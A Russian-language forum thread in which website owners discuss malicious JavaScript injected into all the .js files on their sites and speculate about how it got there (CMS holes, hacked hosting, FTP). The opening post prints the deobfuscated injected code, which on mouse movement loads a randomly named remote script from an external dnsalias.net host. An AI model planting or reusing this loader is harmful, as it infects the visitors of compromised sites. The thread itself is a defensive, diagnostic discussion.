Нашел у себя на сайте какую-то шнягу на JS.

что это за зараза?и как она туда попала?
Похожая хня была во всех *.js

http://pastebin.com/ATYCjzYY

 

Code:

(function() {

	var url = 'http://psaxxxbvww.dnsalias.net/g/';

	if (typeof window.xyzflag === 'undefined') {

		window.xyzflag = 0;

	}

	document.onmousemove = function() {

		if (window.xyzflag === 0) {

			window.xyzflag = 1;

			var head = document.getElementsByTagName('head')[0];

			var script = document.createElement('script');

			script.type = 'text/javascript';

			script.onreadystatechange = function () {

				if (this.readyState == 'complete') {

					window.xyzflag = 2;

				}

			};

			script.onload = function() {

				window.xyzflag = 2;

			};

			script.src = url + Math.random().toString().substring(3) + '.js';

			head.appendChild(script);

		}

	};

})();

 

ой спасибо,а где нибудь есть электронный переводчик?или вы настолько специально обученный,что вручную так шустро перевели?

 

В данном случае было весьма просто, когда я заметил

Code:

eval(h5fef0b);

eval заменил на alert и увидел код.

 

То же самое

Такой же код на своем сайте обнаружил. Как вычистить эту хрень?

 

Удалить.

 

Удалить не проблема, где гарантии что опять не появится. Хотелось бы выяснить что за новый вирус такой который только в ява скрипты лезет.

 

lankaster1 вопрос не совсем корректный, ибо мб на сайте cms дырявая... и ещё куча возможных вариаций... так что гарантий никаких_))

 

Единственная возможность на 100% защитить сайт от взлома - отключить его от интернета.

 

И как, нашли в чём причина?
У меня тоже сайты как минимум на четырёх хостингах сломали.
Подозрения падают на жомлу

 

НЕ,жумла тут ни при чем,у меня целиком самописные сайты-та же зараза.
Это хостеров ломают

 

Ну это смотря что за сайт.
Конечно как - проводил пен тест Expl0it то все возможно

 

Почитайте логи на ночь, может поможет )
Если ОС на хостинге windows, а веб-сервер nginx с версией 1.2.0 или меньше, то возможно вас поимели через это

 

Читал логи, ничего подозрительного. Возможно, изменения производились по ftp. На многих хостингах использовался sftp, вряд ли пароли отсниффили. И пароли были довольно сложные.

 

чувак это троянчик

 

кстати,на каком хостинге эта зараза была?страна должна знать своих героев.
у меня хостинг центр

 

Вы уверены, что ваши самописные сайты абсолютно безопасны?

 

странно как-то логи ты читал. логи ftp явно даже и не открывал.

 

Это же хостинги, кто мне даст логи ftp?

 

один из них представлял собой одинокую хтмль страничку с одиноким файлом .js и больше ничего.